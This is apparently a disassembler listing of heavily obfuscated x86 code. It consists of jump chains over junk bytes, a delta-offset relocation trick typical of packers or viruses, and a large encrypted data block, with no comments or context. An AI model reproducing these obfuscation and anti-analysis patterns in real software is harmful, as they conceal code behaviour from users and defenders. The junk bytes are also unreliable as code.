jmp short $+2
xchg esp, esi
jmp loc_46C204
; ---------------------------------------------------------------------------
loc_46C8B3: ; CODE XREF: DMN1:0046C841j
xchg ebp, esi
xchg esp, edx
jmp short loc_46C8C5
; ---------------------------------------------------------------------------
db 0B7h, 7Eh, 7
dd 0E980CE19h, 1F329501h
db 0B7h
; ---------------------------------------------------------------------------
loc_46C8C5: ; CODE XREF: DMN1:0046C8B7j
jmp short loc_46C8CD
; ---------------------------------------------------------------------------
retn 3E84h
; ---------------------------------------------------------------------------
dw 3A42h
; ---------------------------------------------------------------------------
inc ebp
loc_46C8CD: ; CODE XREF: DMN1:loc_46C8C5j
jmp short loc_46C8E5
; ---------------------------------------------------------------------------
db 5Ah
dd 0C1607363h, 0DC0D837Bh, 0A966266Bh, 0B907AB60h, 513CEF18h
db 0C1h
; ---------------------------------------------------------------------------
loc_46C8E5: ; CODE XREF: DMN1:loc_46C8CDj
pop esi
jmp short loc_46C8ED
; ---------------------------------------------------------------------------
dd 1916D150h
db 78h
; ---------------------------------------------------------------------------
loc_46C8ED: ; CODE XREF: DMN1:0046C8E6j
xor ebx, 4EE43A50h
jmp short loc_46C910
; ---------------------------------------------------------------------------
db 76h, 68h, 30h
dd 354C1001h, 8EADEDEFh, 2DF8A581h, 1CB69B7Ah, 6229569Ah
dd 72BDF268h
; ---------------------------------------------------------------------------
loc_46C910: ; CODE XREF: DMN1:0046C8F3j
std
jmp short loc_46C921
; ---------------------------------------------------------------------------
db 27h
dd 7D0FEDABh, 542FD534h, 756611A6h
db 0B5h
; ---------------------------------------------------------------------------
loc_46C921: ; CODE XREF: DMN1:0046C911j
jmp short loc_46C927
; ---------------------------------------------------------------------------
db 64h
db 70h, 0D8h, 91h
; ---------------------------------------------------------------------------
loc_46C927: ; CODE XREF: DMN1:loc_46C921j
std
stc
jmp short loc_46C93A
; ---------------------------------------------------------------------------
db 8Bh
dd 1226BB60h, 1B36A78h, 0EF364EE8h
; ---------------------------------------------------------------------------
dec edi
push ecx
loc_46C93A: ; CODE XREF: DMN1:0046C929j
jmp short loc_46C94D
; ---------------------------------------------------------------------------
dd 0FD8E19DAh, 0C70880B0h, 8A9E1ED1h, 1388E2C6h
db 0F2h
; ---------------------------------------------------------------------------
loc_46C94D: ; CODE XREF: DMN1:loc_46C93Aj
cmc
jmp short loc_46C953
; ---------------------------------------------------------------------------
db 1Ch, 7Eh, 7Bh
; ---------------------------------------------------------------------------
loc_46C953: ; CODE XREF: DMN1:0046C94Ej
jmp short loc_46C967
; ---------------------------------------------------------------------------
db 79h, 1Ch, 9Ah
; ---------------------------------------------------------------------------
fisubr word ptr [eax-55h]
jmp short loc_46C9C3
; ---------------------------------------------------------------------------
db 7Eh, 0A0h, 1Fh
dd 1CFC34B1h
db 83h, 87h, 8Fh
; ---------------------------------------------------------------------------
loc_46C967: ; CODE XREF: DMN1:loc_46C953j
jmp short loc_46C984
; ---------------------------------------------------------------------------
db 8, 0B1h, 37h
dd 9B473477h, 73CFAE70h, 96EF823h, 8201804h, 0F0992368h
dd 5A3581E3h
; ---------------------------------------------------------------------------
loc_46C984: ; CODE XREF: DMN1:loc_46C967j
jmp short loc_46C9A1
; ---------------------------------------------------------------------------
dw 6F5Fh
; ---------------------------------------------------------------------------
loc_46C988: ; CODE XREF: DMN1:0046C99Ej
outsb
int 6Ch ; DOS 3.2 Realtime Clock update
out 0BDh, al ; Interrupt Controller #2, 8259A
les edi, [esp+ebp*8+22h]
mov cl, 0CAh
sub al, 0EDh
pop ds
lodsb
loc_46C997: ; CODE XREF: DMN1:0046C9CBj
mov dl, 0C3h
db 66h
test al, 42h
int 7Ch ; IBM REXX88PC command language
loopne loc_46C988
cwde
loc_46C9A1: ; CODE XREF: DMN1:loc_46C984j
jmp loc_46BCD9
; ---------------------------------------------------------------------------
loc_46C9A6: ; CODE XREF: DMN1:loc_46D73Cj
popa
pop ebp
jmp loc_46C134
; ---------------------------------------------------------------------------
db 0BCh, 7Fh, 0F6h
dd 0DB0A2ADAh, 55621F64h, 709553FAh, 53EE8A44h
; ---------------------------------------------------------------------------
sub [esi-1Ch], edi
loc_46C9C3: ; CODE XREF: DMN1:0046C95Bj
mov ds:34BB832Fh, eax
db 65h
aad 91h
jmp short loc_46C997
; ---------------------------------------------------------------------------
push ds
movsb
mov esp, 0F29DB03Fh
xor esp, ebp
mov bh, 53h
mov cl, 0CCh
or [edi-3D8CA72Fh], bl
pop esi
pop ebp
cmc
scasb
add eax, 0FC2F1327h
sub eax, 0CD9B5A0Eh
mov word ptr [edi+75192B04h], fs
enter 0FFFFE142h, 3Ch
retf
; ---------------------------------------------------------------------------
db 45h, 0E5h, 0DEh
dd 5D61C180h, 62A3EEE4h, 6D2F3D07h, 95C2EC67h, 8C22EC56h
dd 0A7F16A15h, 0EFE93BBFh, 0C48C7668h, 0CDFE6B68h, 0EAE791EAh
dd 0E56F9C1Ah, 6B218526h, 294EE9D3h, 4058AE3Ch, 917CC85Bh
dd 9ED1CC6h, 0F36C3B6Bh, 687D4453h, 8897F2BDh, 0E71BCD81h
dd 32B72609h, 8D88CDA1h, 0BDF61DD0h, 0BFCB05E4h, 82AC9554h
dd 0C1544C28h, 507694FAh, 0D096F6EDh, 0E8ECAD39h, 0A707E5D1h
dd 272946DDh, 208EBDB6h, 9BC9A850h, 8D960F63h, 12464190h
dd 9A76A81h, 0E0F8192Dh, 8CF838DFh, 39D701A7h, 5702A38Dh
dd 8944B776h, 12DC2495h, 1E4471FBh, 0AE4F3928h, 0FC6AB822h
dd 771F1F13h, 3D049F95h, 54019171h, 8083342Ah, 95F8D1B9h
dd 271F5CDDh, 365ECD94h, 9AE8A808h, 74FC0B74h, 0D2DFE575h
dd 0F86292FEh, 89F28DFFh, 471899AFh, 50EF207Ch, 98706159h
dd 1CE8FA3h, 6FCA3E9Eh, 9DD9970Fh, 0F70658B3h, 15D2614Fh
dd 6D4EB480h, 0E2449FE3h, 0B79762h, 2213BB58h, 0AB1CE4D1h
dd 74CFF33h, 2D949268h, 794731FFh, 0E9640074h, 2B2AA5Fh
dd 0D73107B7h, 0D8ACBDABh, 8E8BBB1Dh, 0BB3A0D1Fh, 0E47FB665h
dd 3B0D4000h, 20ADD6B4h, 666ECCD6h, 2C9E0FE0h, 18EFBF24h
dd 5084C70Dh, 0E78DF441h, 0BA48F872h, 461E6F0Fh, 0CD4DDE18h
dd 6B10225Fh, 0ED54C675h, 58B510E6h, 97B8A20Ch, 0DFCA7F87h
dd 2021E9B4h, 337F19EEh, 60C4823Dh, 92C10814h, 0F341F296h
dd 0BF4D2BCDh, 0C8A721A6h, 0A25C549Bh, 691F1AA1h, 19C408B1h
dd 0E202B28Fh, 0B0437846h, 71AC0CDEh, 0F4C119F3h, 95C375FFh
dd 8E18ED0Ch, 0CBD930AEh, 0A9FECE17h, 5B52D59Eh, 0BD44C6A5h
dd 9E3DA06h, 0C98CC89Ah, 0DC0528CDh, 0CEB91BECh, 0F19282D0h
dd 0F3665A3h, 0B2105C7h, 0AD090B68h, 0EE22CCA4h, 99B41204h
dd 616EB87Fh, 271FB1D8h, 0B87AFAA0h, 827567A9h, 7D2FC5E7h
dd 46B07556h, 13D2B1F8h, 36395F9Dh, 132D9351h, 0B87AE0Bh
dd 0B004BE29h, 0F2A94486h, 5C6FF785h, 9444527h, 7DF5B48Eh
dd 53260930h, 1AE78FBFh, 0F23EFDD8h, 1996C3E8h, 0BE4AF590h
dd 13B113F8h, 56788F40h, 0A19DB820h, 0B821E4BAh, 604939ABh
dd 0B432893h, 968254A9h, 0DA081D80h, 9344960Ah, 9213BC91h
dd 973049A6h, 0A7F4C2FAh, 0E70748EEh, 6AEA88A1h, 9CA74478h
dd 18D97E77h, 9C80EE19h, 0CAA3C041h, 0ECF51903h, 8B542607h
dd 0ABA347EFh, 0DF85281Eh, 9B602480h, 3143A805h, 0EB28909Dh
dd 591A8403h, 68065AD2h, 0B6CC0192h, 51EB1A7Ch, 6B3477D8h
dd 7B8D97D1h, 961224Ch, 0B14BE62Ch, 30582110h, 0AF81A179h
dd 298F2431h, 4497E120h, 18C0B096h, 0ACA66635h, 0CC819761h
dd 0D2D31347h, 79B3ACEh, 0B1864E02h, 3C08284Dh, 0C73FDB52h
dd 0B1AC04A1h, 2914A792h, 0CE4A7D67h, 6DDA32F3h, 9D64BC34h
dd 2A9D321Fh, 4055340Bh, 0D96AF864h, 0B076717Eh, 7507DB4Bh
dd 681305B6h, 31109443h, 25E881C2h, 98D3630Ah, 5B3A6DD1h
dd 0DDFEA92h, 260BDBE7h, 15FEB7C3h, 83EF139Eh, 2D970F76h
dd 36C88D71h, 8E63B261h, 2352C7ACh, 0C8E34EFFh, 9291093Ch
dd 0EB61C8C4h, 80950068h, 0F02F3BB8h, 7A354A2h, 704BC94Fh
dd 2E52E1C1h, 85A4E175h, 0EFF172B5h, 0BB3B2BA4h, 0CAA455BAh
dd 0ACA5777Eh, 6B298349h, 5DD6A185h, 0FE8125BEh, 0CBE92DD4h
dd 0ACF825B3h, 5A667D48h, 633E7131h, 0B51117E4h, 57607442h
dd 0EA795379h, 3ACDB603h, 0F74B8F3Ah, 0C2C11993h, 0E9677AFBh
dd 48AAD681h, 7FDCCD96h, 0A9CF715Fh, 0F42EBF4Fh, 7AF00C93h
dd 0DA12155Fh, 243685D0h, 0E5C40FCAh, 0FAE1FC2Ch, 74C9FC4Dh
dd 14F5EF22h, 3BA02A7Bh, 0FC35DDF6h, 6E5FEB28h, 19A36861h
dd 0F24477C6h, 0E92AC7EBh, 0EB346998h, 0CA4D1FDCh, 4D0A1961h
dd 465607ECh, 0B5F763B1h, 0AD70F72Dh, 4A70CD7Eh, 292A9D8Fh
dd 81E599F7h, 0FB3C42FFh, 530C4976h, 0A25F8285h, 87CDEA80h
dd 50C50232h, 285D1C58h, 732A147Ah, 0E5BFEA4Eh, 5BC98EB0h
dd 6203C337h, 0E5F8371Eh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call $+5
pop ebp
sub ebp, 6CE58h
pusha
mov eax, 33B71DE1h
push eax
xchg edx, esp
jmp short loc_46CE82
; ---------------------------------------------------------------------------
dw 9E5Dh
dd 3E338FA7h, 0D2122630h, 874E1DBFh, 545C67A8h, 1CC57127h
db 84h, 0BBh
; ---------------------------------------------------------------------------
loc_46CE82: ; CODE XREF: DMN1:0046CE68j
jmp short loc_46CE91
; ---------------------------------------------------------------------------
dd 9CD69322h, 376F8C67h, 0F800FA35h
; ---------------------------------------------------------------------------
xchg eax, esi
loc_46CE91: ; CODE XREF: DMN1:loc_46CE82j
xchg ebx, esi
cld
jmp short loc_46CEB1
; ---------------------------------------------------------------------------
dw 3362h
dd 4ECDFFD7h, 0BFB861C6h, 57954103h, 356D57E5h, 0FE65E38h
dd 74D25554h
db 7Fh
; ---------------------------------------------------------------------------
loc_46CEB1: ; CODE XREF: DMN1:0046CE94j
clc
jmp short loc_46CECE
; ---------------------------------------------------------------------------
dd 8DA7BDD6h, 0F87FDF90h, 2125014Fh, 67414D79h, 0DAE99568h
dd 13C653CEh
db 0ACh, 7Bh
; ---------------------------------------------------------------------------
loc_46CECE: ; CODE XREF: DMN1:0046CEB2j
bswap eax
jmp short loc_46CEEC
; ---------------------------------------------------------------------------
dw 1E2Ch
dd 0F8440F95h, 59432B57h, 0F9DF491h, 0F8B6E3E6h, 0ACD46699h
dd 205879A6h
; ---------------------------------------------------------------------------
loc_46CEEC: ; CODE XREF: DMN1:0046CED0j
xchg ebx, edi
cmc
xchg edi, edx
or ecx, 0FFFFFFFFh
jmp short loc_46CEFC
; ---------------------------------------------------------------------------
dw 0F8E4h
; ---------------------------------------------------------------------------
aaa
stc
xchg edx, eax
loc_46CEFC: ; CODE XREF: DMN1:0046CEF4j
inc edx
jmp short loc_46CF1A
; ---------------------------------------------------------------------------
db 0F0h
dd 5266FD7Eh, 63EE183Ah, 0CB7FBBEDh, 0C3282B85h, 6D74B211h
dd 0A8E91854h
db 0FAh, 0CAh
; ---------------------------------------------------------------------------
loc_46CF1A: ; CODE XREF: DMN1:0046CEFDj
jmp short loc_46CF20
; ---------------------------------------------------------------------------
dd 0CC679CEFh
; ---------------------------------------------------------------------------
loc_46CF20: ; CODE XREF: DMN1:loc_46CF1Aj
bswap esp
clc
jmp short loc_46CF2B
; ---------------------------------------------------------------------------
inc edi
inc byte ptr [esi+49h]
retn
; ---------------------------------------------------------------------------
cmpsb
loc_46CF2B: ; CODE XREF: DMN1:0046CF23j
jmp short loc_46CF3A
; ---------------------------------------------------------------------------
db 34h, 39h, 42h
dd 90B3555Bh, 46F6F665h
db 95h, 7Ch
; ---------------------------------------------------------------------------
loc_46CF3A: ; CODE XREF: DMN1:loc_46CF2Bj
jmp short loc_46CF42
; ---------------------------------------------------------------------------
pop esi
sal dword ptr [eax+2Eh], cl
inc ebp
aas
loc_46CF42: ; CODE XREF: DMN1:loc_46CF3Aj
xchg ebx, ecx
not eax
inc ebx
jmp short $+2
xchg ebx, esp
jmp short loc_46CF57
; ---------------------------------------------------------------------------
db 8Bh, 2Dh, 32h
dd 0BB2D166Ch
db 0BEh, 0E9h, 9Dh
; ---------------------------------------------------------------------------
loc_46CF57: ; CODE XREF: DMN1:0046CF4Bj
jmp short loc_46CF6B
; ---------------------------------------------------------------------------
db 0DEh, 30h, 65h
dd 3C67D73Eh, 799ED64Fh, 0AE04CC2Bh
db 0E1h, 0CDh, 19h
; ---------------------------------------------------------------------------
loc_46CF6B: ; CODE XREF: DMN1:loc_46CF57j
jmp short loc_46CF71
; ---------------------------------------------------------------------------
aaa
sub edx, [ebx-33h]
loc_46CF71: ; CODE XREF: DMN1:loc_46CF6Bj
xchg eax, eax
jmp short loc_46CF83
; ---------------------------------------------------------------------------
db 8Ah, 24h, 0A7h
dd 0E76AD307h, 0F4717235h
db 0E2h, 3Bh, 54h
; ---------------------------------------------------------------------------
loc_46CF83: ; CODE XREF: DMN1:0046CF73j
jmp short loc_46CFA0
; ---------------------------------------------------------------------------
db 4Eh, 0F8h, 40h
dd 659FECD5h, 7E946E93h, 0FF8DAA49h, 44208FD4h, 0A69E5117h
dd 96161398h
; ---------------------------------------------------------------------------
loc_46CFA0: ; CODE XREF: DMN1:loc_46CF83j
jmp short loc_46CFA6
; ---------------------------------------------------------------------------
dw 0D567h
db 95h ;
db 0FCh ;
; ---------------------------------------------------------------------------
loc_46CFA6: ; CODE XREF: DMN1:loc_46CFA0j
jmp short loc_46CFAA
; ---------------------------------------------------------------------------
db 78h, 0B0h
; ---------------------------------------------------------------------------
loc_46CFAA: ; CODE XREF: DMN1:loc_46CFA6j
jmp short loc_46CFC3
; ---------------------------------------------------------------------------
dd 2D8BC3EFh, 0EE9CCFDCh, 4E4C4168h, 0B52DF2D6h, 4D0CC0D6h
db 99h, 0BDh, 3Ch
; ---------------------------------------------------------------------------
loc_46CFC3: ; CODE XREF: DMN1:loc_46CFAAj
xor esp, 41000h
jmp short loc_46CFE9
; ---------------------------------------------------------------------------
db 0A3h
dd 0FFA05166h, 0E30EF6BFh, 0F8848CCFh, 6B7268E3h, 0CFE54130h
dd 2476AECAh, 2B0E2D19h
db 0CFh
; ---------------------------------------------------------------------------
loc_46CFE9: ; CODE XREF: DMN1:0046CFC9j
jmp short loc_46D003
; ---------------------------------------------------------------------------
db 0F7h
; ---------------------------------------------------------------------------
retf 0B9B9h
; ---------------------------------------------------------------------------
db 4
dd 0AEDF6089h, 0AD7FA82Fh, 4EF1CD84h, 6E89EE0h
; ---------------------------------------------------------------------------
xor [edi+8], ebp
loc_46D003: ; CODE XREF: DMN1:loc_46CFE9j
stc
bswap ebx
jmp short loc_46D025
; ---------------------------------------------------------------------------
dd 44B23AB2h, 91C2BA06h, 0BEC68DFEh, 2A716A90h, 745C90E7h
dd 5F8846A9h, 0D6E72E79h
db 0EAh
; ---------------------------------------------------------------------------
loc_46D025: ; CODE XREF: DMN1:0046D006j
jmp short loc_46D036
; ---------------------------------------------------------------------------
db 21h
dd 12D417h, 901BA21Ah, 98606BDFh
db 0C1h, 0A4h
; ---------------------------------------------------------------------------
loc_46D036: ; CODE XREF: DMN1:loc_46D025j
jmp short loc_46D040
; ---------------------------------------------------------------------------
dd 4E1F3B8Ah, 0ECE59A62h
; ---------------------------------------------------------------------------
loc_46D040: ; CODE XREF: DMN1:loc_46D036j
mov ecx, 0AF1Fh
loc_46D045: ; CODE XREF: DMN1:0046D5B4j
jmp short loc_46D05F
; ---------------------------------------------------------------------------
db 4Ch
dd 0B836E312h, 0ECC6905Ch, 0E480DF8h, 0C33A2B41h, 32B86DEh
db 0E6h, 15h, 67h
; ---------------------------------------------------------------------------
loc_46D05F: ; CODE XREF: DMN1:loc_46D045j
rcl edx, cl
jmp short loc_46D073
; ---------------------------------------------------------------------------
sbb al, 83h
inc ebp
xor eax, 9E5A9A52h
dec edx
add eax, 1F215BBFh
ja short loc_46D07F
loc_46D073: ; CODE XREF: DMN1:0046D061j
jmp short loc_46D08B
; ---------------------------------------------------------------------------
not dword ptr [ecx]
leave
push eax
mov bl, 7Dh
stosd
cli
inc esp
cmpsd
loc_46D07F: ; CODE XREF: DMN1:0046D071j
and [ebp+45h], esi
jmp far ptr 4346h:0F2A1181Fh
; ---------------------------------------------------------------------------
db 16h, 21h
; ---------------------------------------------------------------------------
loc_46D08B: ; CODE XREF: DMN1:loc_46D073j
rcr edx, cl
std
xchg ebx, ebp
jmp short loc_46D095
; ---------------------------------------------------------------------------
dw 6CAEh
db 73h
; ---------------------------------------------------------------------------
loc_46D095: ; CODE XREF: DMN1:0046D090j
xchg ebx, ebx
jmp short loc_46D0AE
; ---------------------------------------------------------------------------
db 0DCh, 87h, 15h
dd 0F789DCDEh, 0B079BF83h, 2DE01A8Bh, 7A7A75B8h
db 0C7h, 74h
; ---------------------------------------------------------------------------
loc_46D0AE: ; CODE XREF: DMN1:0046D097j
jmp short loc_46D0C9
; ---------------------------------------------------------------------------
mov cl, 0F4h
retf 0B121h
; ---------------------------------------------------------------------------
align 2
dw 6E9Ah
; ---------------------------------------------------------------------------
test eax, 0F2BCFA29h
icebp
retf 0AA85h
; ---------------------------------------------------------------------------
aam 44h
xchg ebx, ds:90068CE0h
loc_46D0C9: ; CODE XREF: DMN1:loc_46D0AEj
mov edx, ebx
jmp short loc_46D0DA
; ---------------------------------------------------------------------------
db 39h, 8Dh, 0F1h
; ---------------------------------------------------------------------------
xchg esp, cs:[edi-687C2969h]
db 26h
xor al, al
loc_46D0DA: ; CODE XREF: DMN1:0046D0CBj
jmp short loc_46D0DF
; ---------------------------------------------------------------------------
mov bl, 0F8h
pop edi
loc_46D0DF: ; CODE XREF: DMN1:loc_46D0DAj
jmp short loc_46D0E3
; ---------------------------------------------------------------------------
db 0FBh, 78h
; ---------------------------------------------------------------------------
loc_46D0E3: ; CODE XREF: DMN1:loc_46D0DFj
jmp short loc_46D103
; ---------------------------------------------------------------------------
db 0A9h, 0CAh, 30h
dd 79B4079Bh, 4993546Ch, 0DDCC8D5Ch, 6B49311h, 0E49D4499h
dd 97B7344Ch
db 6Eh, 0F3h, 0C2h
; ---------------------------------------------------------------------------
loc_46D103: ; CODE XREF: DMN1:loc_46D0E3j
std
jmp short loc_46D11E
; ---------------------------------------------------------------------------
retn 97C3h
; ---------------------------------------------------------------------------
db 4Ch, 2Eh, 21h
dd 0EBD6A9C8h, 34954475h, 0C7125B1Dh, 0AD46FF8Ah
db 3, 8Ch
; ---------------------------------------------------------------------------
loc_46D11E: ; CODE XREF: DMN1:0046D104j
add edx, esp
jmp short loc_46D138
; ---------------------------------------------------------------------------
dw 0F2D8h
dd 6FAD95F2h, 8115192Ch, 689B0031h, 944FB451h, 0B0592AFCh
; ---------------------------------------------------------------------------
loc_46D138: ; CODE XREF: DMN1:0046D120j
cld
mov ebp, [edx]
jmp short loc_46D14B
; ---------------------------------------------------------------------------
sub al, 77h
pop es
jnz short loc_46D1A0
or [ecx-1D860ABEh], ebx
stosb
sub cl, [eax]
loc_46D14B: ; CODE XREF: DMN1:0046D13Bj
neg edx
jmp short loc_46D167
; ---------------------------------------------------------------------------
db 7Ah
dd 81E05493h, 2F0256DAh, 62743C91h, 85A6D255h, 0CCB1E564h
db 0ACh, 56h, 0C1h
; ---------------------------------------------------------------------------
loc_46D167: ; CODE XREF: DMN1:0046D14Dj
jmp short loc_46D176
; ---------------------------------------------------------------------------
db 52h, 7, 65h
; ---------------------------------------------------------------------------
and ds:0BA6063Ch, ch
mov dl, 34h
adc edx, esp
loc_46D176: ; CODE XREF: DMN1:loc_46D167j
jmp short loc_46D17E
; ---------------------------------------------------------------------------
dd 4F8CD865h
db 0C4h, 67h
; ---------------------------------------------------------------------------
loc_46D17E: ; CODE XREF: DMN1:loc_46D176j
jmp short loc_46D183
; ---------------------------------------------------------------------------
db 4Dh, 1, 25h
; ---------------------------------------------------------------------------
loc_46D183: ; CODE XREF: DMN1:loc_46D17Ej
and eax, 0BA7370EDh
jmp short loc_46D1A4
; ---------------------------------------------------------------------------
db 44h
dd 0F921C626h, 37F0400Ch, 3324824Fh, 45FD1E9Ah, 0F6A979ABh
; ---------------------------------------------------------------------------
loc_46D1A0: ; CODE XREF: DMN1:0046D140j
and [ebx-40h], esi
; ---------------------------------------------------------------------------
db 79h
; ---------------------------------------------------------------------------
loc_46D1A4: ; CODE XREF: DMN1:0046D189j
jmp short loc_46D1AB
; ---------------------------------------------------------------------------
jnz short loc_46D1E5
xlat
test al, 0Fh
loc_46D1AB: ; CODE XREF: DMN1:loc_46D1A4j
xor ebp, [edi]
xchg esp, edx
jmp short loc_46D1CF
; ---------------------------------------------------------------------------
db 0C0h, 62h, 0D8h
dd 2FF9812Ch, 0BBD767F2h, 8665B9ECh, 859CF606h, 0AF1A3BD1h
dd 0D44132A7h
db 4, 0AFh, 0CAh
; ---------------------------------------------------------------------------
loc_46D1CF: ; CODE XREF: DMN1:0046D1AFj
jmp short loc_46D1DB
; ---------------------------------------------------------------------------
db 34h, 5, 1Fh
dd 0D9AED452h
db 46h, 0FAh, 0BFh
; ---------------------------------------------------------------------------
loc_46D1DB: ; CODE XREF: DMN1:loc_46D1CFj
xchg ebp, esp
stc
neg eax
xchg ecx, ebx
jmp short loc_46D1ED
; ---------------------------------------------------------------------------
db 0C1h
; ---------------------------------------------------------------------------
loc_46D1E5: ; CODE XREF: DMN1:0046D1A6j
mov edx, 0BA219056h
lodsb
cli
nop
loc_46D1ED: ; CODE XREF: DMN1:0046D1E2j
jmp short loc_46D205
; ---------------------------------------------------------------------------
db 22h
dd 6AFA8922h, 1BDAA08Eh, 69834289h, 0A6FA5F8h, 8B0C0B24h
db 3Bh
; ---------------------------------------------------------------------------
loc_46D205: ; CODE XREF: DMN1:loc_46D1EDj
jmp short loc_46D219
; ---------------------------------------------------------------------------
db 6Fh
dd 71F1E6A1h, 0B5E629C2h, 7AEE43ACh, 0F53F8C17h
db 84h
; ---------------------------------------------------------------------------
loc_46D219: ; CODE XREF: DMN1:loc_46D205j
jmp short loc_46D22B
; ---------------------------------------------------------------------------
db 1Eh
dd 1C72E1FAh, 331FFC91h, 0F3A70FAFh
db 3Ch, 0EBh, 63h
; ---------------------------------------------------------------------------
loc_46D22B: ; CODE XREF: DMN1:loc_46D219j
xchg esp, [edi]
jmp short loc_46D245
; ---------------------------------------------------------------------------
db 8Bh
dd 8E92B59Ah, 6D33C508h, 7C74BDC3h, 0B7CAC1D9h, 7A6E09B7h
; ---------------------------------------------------------------------------
popa
loc_46D245: ; CODE XREF: DMN1:0046D22Dj
jmp short loc_46D25B
; ---------------------------------------------------------------------------
db 19h
dd 56712426h, 326A150Bh, 8191195Eh, 0CF1A353h
db 0FDh, 0D7h, 82h
; ---------------------------------------------------------------------------
loc_46D25B: ; CODE XREF: DMN1:loc_46D245j
std
xchg eax, edx
jmp short loc_46D261
; ---------------------------------------------------------------------------
db 0EDh
; ---------------------------------------------------------------------------
loc_46D261: ; CODE XREF: DMN1:0046D25Ej
jmp short loc_46D26A
; ---------------------------------------------------------------------------
db 0E8h
dd 45FB1213h
db 89h, 72h
; ---------------------------------------------------------------------------
loc_46D26A: ; CODE XREF: DMN1:loc_46D261j
jmp short loc_46D273
; ---------------------------------------------------------------------------
dd 5A4392EBh
db 91h, 4Dh, 0F2h
; ---------------------------------------------------------------------------
loc_46D273: ; CODE XREF: DMN1:loc_46D26Aj
jmp short loc_46D293
; ---------------------------------------------------------------------------
dec ebp
retn
; ---------------------------------------------------------------------------
db 2Ah
dd 7C5C51F4h, 3B08B44Ah, 0E89D6E10h, 4117E125h, 90BC6000h
dd 0A91300FDh
db 97h, 0EDh, 0DEh
; ---------------------------------------------------------------------------
loc_46D293: ; CODE XREF: DMN1:loc_46D273j
jmp short loc_46D2A9
; ---------------------------------------------------------------------------
db 43h, 0C4h, 0E4h
dd 0CD3F1FCFh, 2793015Ah, 77E3590Eh, 203B3F30h
db 0B0h
; ---------------------------------------------------------------------------
loc_46D2A9: ; CODE XREF: DMN1:loc_46D293j
jmp short loc_46D2B1
; ---------------------------------------------------------------------------
add eax, 0E2AE7B7Ah
cdq
loc_46D2B1: ; CODE XREF: DMN1:loc_46D2A9j
xor ebp, 0C50B39BAh
jmp short loc_46D2CB
; ---------------------------------------------------------------------------
db 3Eh, 63h, 7Bh
dd 887ADE1Ch, 1C13F88Fh, 58E08EDFh
db 0ADh, 63h, 0B5h
; ---------------------------------------------------------------------------
loc_46D2CB: ; CODE XREF: DMN1:0046D2B7j
rol esp, 1
jmp short loc_46D2D0
; ---------------------------------------------------------------------------
db 8Fh
; ---------------------------------------------------------------------------
loc_46D2D0: ; CODE XREF: DMN1:0046D2CDj
jmp short loc_46D2EA
; ---------------------------------------------------------------------------
dw 0DD2h
dd 0D407884Ch, 6F1FCC6Bh, 0EFC76FA3h, 0E7D975D8h, 0E1AB51B4h
db 13h, 0A1h
; ---------------------------------------------------------------------------
loc_46D2EA: ; CODE XREF: DMN1:loc_46D2D0j
xchg edi, esp
xchg esi, ebx
jmp short loc_46D305
; ---------------------------------------------------------------------------
mov esp, 77296710h
stosd
adc edi, edx
xchg dh, [ebp-5Ch]
movsb
mov bh, 0B5h
retf
; ---------------------------------------------------------------------------
db 0A6h
dd 19E16D2Ch
db 39h
; ---------------------------------------------------------------------------
loc_46D305: ; CODE XREF: DMN1:0046D2EEj
jmp short loc_46D312
; ---------------------------------------------------------------------------
db 75h
dd 0C4214756h, 30BD0A7h
db 1Dh, 0A7h
; ---------------------------------------------------------------------------
loc_46D312: ; CODE XREF: DMN1:loc_46D305j
xchg ebx, eax
std
jmp short loc_46D328
; ---------------------------------------------------------------------------
db 46h
dd 0C7E8641Ah, 5B4E2B89h, 939CBA6Dh, 91EB30C8h
; ---------------------------------------------------------------------------
loc_46D328: ; CODE XREF: DMN1:0046D315j
jmp short loc_46D32C
; ---------------------------------------------------------------------------
inc ebp
push eax
loc_46D32C: ; CODE XREF: DMN1:loc_46D328j
xor eax, 0C44C7084h
bswap edx
std
jmp short loc_46D34C
; ---------------------------------------------------------------------------
db 73h
dd 2BDD281Fh, 0FAE0E37Eh, 7C43A39Ah, 9025D198h, 9AABB77Ah
; ---------------------------------------------------------------------------
loc_46D34C: ; CODE XREF: DMN1:0046D335j
add edi, 6AA1596Ah
jmp short loc_46D35B
; ---------------------------------------------------------------------------
dd 60E951F3h
; ---------------------------------------------------------------------------
or [eax+28h], ebp
loc_46D35B: ; CODE XREF: DMN1:0046D352j
xchg edx, esi
jmp short loc_46D37E
; ---------------------------------------------------------------------------
align 10h
dd 2536F12Bh, 2103A18h, 7AE5AEE6h, 1CA3BA07h, 0BEBCF0EFh
dd 0CD7CD1E9h, 7CE1F45Dh
; ---------------------------------------------------------------------------
db 64h
dec ebp
loc_46D37E: ; CODE XREF: DMN1:0046D35Dj
jmp short loc_46D382
; ---------------------------------------------------------------------------
db 7Ch, 76h
; ---------------------------------------------------------------------------
loc_46D382: ; CODE XREF: DMN1:loc_46D37Ej
xchg edi, [esp]
jmp short loc_46D3A4
; ---------------------------------------------------------------------------
db 0Ch
dd 0A63E9C32h, 0D136FFFDh, 0A6530474h, 690655E2h, 41FC49Ah
dd 7A4D33ECh, 472CEEh
; ---------------------------------------------------------------------------
loc_46D3A4: ; CODE XREF: DMN1:0046D385j
jmp short loc_46D3A7
; ---------------------------------------------------------------------------
cwde
loc_46D3A7: ; CODE XREF: DMN1:loc_46D3A4j
cmc
jmp short loc_46D3BB
; ---------------------------------------------------------------------------
dw 0EF2Dh
dd 0C712E51h, 1254F898h, 303F8A31h
; ---------------------------------------------------------------------------
scasb
fdivr qword ptr [edx]
loc_46D3BB: ; CODE XREF: DMN1:0046D3A8j
xchg eax, edi
inc edi
xchg edi, edx
jmp short loc_46D3C4
; ---------------------------------------------------------------------------
dw 6429h
; ---------------------------------------------------------------------------
loc_46D3C4: ; CODE XREF: DMN1:0046D3C0j
jmp short loc_46D3E2
; ---------------------------------------------------------------------------
dw 0C56Fh
dd 0CFD81D32h, 5F74DACAh, 67EFD342h, 0B099AB98h, 9414C0DEh
dd 8ED9DA6Ah
db 0F4h, 60h
; ---------------------------------------------------------------------------
loc_46D3E2: ; CODE XREF: DMN1:loc_46D3C4j
cld
mov edx, ecx
jmp short loc_46D3F0
; ---------------------------------------------------------------------------
db 0E2h
dd 0FFBDC794h, 17A20A92h
; ---------------------------------------------------------------------------
loc_46D3F0: ; CODE XREF: DMN1:0046D3E5j
jmp short loc_46D3F7
; ---------------------------------------------------------------------------
dw 5821h
db 0EDh, 4Ah, 82h
; ---------------------------------------------------------------------------
loc_46D3F7: ; CODE XREF: DMN1:loc_46D3F0j
jmp short loc_46D3FF
; ---------------------------------------------------------------------------
db 0C6h, 2Ah, 85h
